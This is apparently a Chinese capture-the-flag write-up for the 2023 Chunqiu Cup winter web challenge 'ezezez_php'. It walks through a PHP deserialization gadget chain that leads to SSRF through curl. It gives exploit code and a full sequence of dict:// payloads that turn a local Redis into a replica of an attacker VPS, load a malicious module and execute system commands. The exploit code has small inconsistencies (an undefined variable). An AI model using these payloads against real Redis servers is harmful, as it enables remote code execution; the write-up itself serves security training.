春秋杯2023冬季联赛Web

2023年春秋杯网络安全联赛冬季赛 web题目

Web

ezezez_php

先看源码

<?php 
class Rd
{
public $ending;
public $cl;
public $poc;

public function __destruct(){
echo "All matters have concluded"."</br>";
}

public function __call($name, $arg){
foreach ($arg as $key => $value) {
if ($arg[0]['POC'] == "0.o") {
$this->cl->var1 = "get";
}
}
}
}

class Poc
{
public $payload;
public $fun;

public function __set($name, $value){
$this->payload = $name;
$this->fun = $value;
}

function getflag($paylaod){
echo "Have you genuinely accomplished what you set out to do?"."</br>";
file_get_contents($paylaod);
}
}

class Er
{
public $symbol;
public $Flag;

public function __construct(){
$this->symbol = True;
}

public function __set($name, $value){
if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){
$value($this->Flag);
}
else {
echo "NoNoNo,please you can look hint.php"."</br>";
}
}
}

class Ha
{
public $start;
public $start1;
public $start2;

public function __construct(){
echo $this->start1 . "__construct" . "</br>";
}

public function __destruct(){
if ($this->start2 === "o.0") {
$this->start1->Love($this->start);
echo "You are Good!"."</br>";
}
}
}

function get($url) {
$url=base64_decode($url);
var_dump($url);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
var_dump($result_info);
curl_close($ch);
var_dump($output);
}


// $exp = "dict://127.0.0.1:6379/config:set:dir:/tmp";
// $exp = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so";
// $exp = "dict://127.0.0.1:6379/slaveof:x.x.x.x:2323";
// $exp = "dict://127.0.0.1:6379/module:load:/tmp/exp.so";
// $exp = "dict://127.0.0.1:6379/slave:no:one";
$exp = "dict://127.0.0.1:6379/system.exec:env";
$Er = new Er();
$Er -> Flag = base64_encode($payload);
$Rd = new Rd();
$Rd -> cl = $Er;
$Ha = new Ha();
$Ha -> start = ['POC'=>'0.o'];
$Ha -> start1 = $Rd;
$Ha -> start2 = 'o.0';

$a = new Ha();
$a->start2 = 'o.0';
$a->start = ['POC'=>'0.o'];
$a->start1 = new Rd();
$a->start1->cl = new Er();
$a->start1->cl->Flag = base64_encode($exp);

echo(url_encode(serialize($Ha)));
?>

本身链子并不是很难,这里还有一个getflag()的函数能读文件,但是没什么能利用的链;而且hint.php中已经提示了127.0.0.1中的redis,那就是用get()函数配合上面的http|https|gopher|dict这四个协议来打Redis,先看序列化链子

入口在Ha() -> __destruct()$this->start1->Love($this->start);可以触发__call(),那么接下来的就是Rd() -> __call($name, $arg),并且Love$this->start会分别传参给__call()namearg__call()里面只用到了$arg做条件判断,并且调用$this->cl->var1 = "get";,可以触发Er() -> __set(),然后get字符串传参给__set()$value,就成功调用了get()函数来打Redis,序列化的链子解决了,接下来就是Redis的攻击方式(因为这个题当时没看,赛后没环境,其他师傅的wp都是使用主从复制的方法,那就复现主从复制的方式)

先去https://github.com/n0b0dyCN/RedisModules-ExecuteCommand编译一个恶意的.so文件exp.so,再用https://github.com/LoRexxar/redis-rogue-server/tree/master或者https://github.com/Dliv3/redis-rogue-server来模拟一个Redis的主服务端用来给从服务端(靶机)进行复制,把而已模块同步过去

首先在vps上开启Redis服务

# https://github.com/Dliv3/redis-rogue-server
python3 redis-rogue-server.py --server-only

然后依次在靶机上打上如下payload:

dict://127.0.0.1:6379/config:set:dir:/tmp # 设置路径
dict://127.0.0.1:6379/config:set:dbfilename:exp.so # 设置写入文件名
dict://127.0.0.1:6379/slaveof:vps:7777 # 配置主Redis服务,并且同步数据
dict://127.0.0.1:6379/module:load:/tmp/exp.so # 加载同步下来的模块
dict://127.0.0.1:6379/slave:no:one # 断开并终止复制
dict://127.0.0.1:6379/system.exec:env # 使用恶意模块中的系统指令

exp就放在源码下面了